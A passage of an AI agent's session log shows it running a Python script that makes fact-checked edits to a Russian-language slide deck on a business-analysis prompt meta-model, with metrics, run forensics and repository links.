\u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\\n> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\\"\\\"\\\",\\n\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\",\\n\\\"\\\"\\\"[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 |\\\"\\\"\\\",\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\",\\\"\\\"\\\"| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0416\u0430\u043a\u043a\u0430\u0440\u0443\\\\|13 \u0437\u0430\u0434\u0430\u0447\\\" 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:06.850Z] [INFO]           \"description\": \"Apply verified-fact edits to slides\"\n[2026-09-29T07:51:06.850Z] [INFO]         },\n[2026-09-29T07:51:06.850Z] [INFO]         \"caller\": {\n[2026-09-29T07:51:06.850Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:51:06.850Z] [INFO]         }\n[2026-09-29T07:51:06.850Z] [INFO]       }\n[2026-09-29T07:51:06.850Z] [INFO]     ],\n[2026-09-29T07:51:06.850Z] [INFO]     \"container\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"usage\": {\n[2026-09-29T07:51:06.850Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_creation_input_tokens\": 593,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_read_input_tokens\": 94254,\n[2026-09-29T07:51:06.850Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:51:06.850Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:51:06.850Z] [INFO]         \"ephemeral_1h_input_tokens\": 593\n[2026-09-29T07:51:06.850Z] [INFO]       },\n[2026-09-29T07:51:06.850Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:51:06.850Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:51:06.850Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:51:06.850Z] [INFO]     },\n[2026-09-29T07:51:06.850Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:51:06.850Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:51:06.850Z] [INFO]     \"context_management\": null\n[2026-09-29T07:51:06.850Z] [INFO]   },\n[2026-09-29T07:51:06.850Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:06.850Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"uuid\": \"92bb1c5f-0567-4b1a-9db5-9a52778887cd\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:06.803Z\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"request_id\": \"req_011CfXNACCNotG2DQoPDo5XS\",\n[2026-09-29T07:51:06.850Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:51:06.850Z] [INFO]     \"toolu_014xtVUv2an1KDVJwJkCaQo8\": {\n[2026-09-29T07:51:06.850Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation && python3 - <<'EOF'\\np='2026-09-29-meta-model-presentation-slides.md'\\ns=open(p).read()\\ndef r(a,b):\\n    global s\\n    assert s.count(a)==1, a[:60]\\n    s=s.replace(a,b)\\nr(\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\\n  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439\\n> \u0441\u043b\u043e\u0432\u0430\u0440\u044c, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n- \u0418\u0442\u043e\u0433 \u0440\u0443\u0447\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014 6%.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\")\\nold4_start=s.index(\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f\\\")\\nold4_end=s.index(\\\"**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\\\")\\ns=s[:old4_start]+\\\"\\\"\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n\\\"\\\"\\\"+s[old4_end:]\\nr(\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\\n> 8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 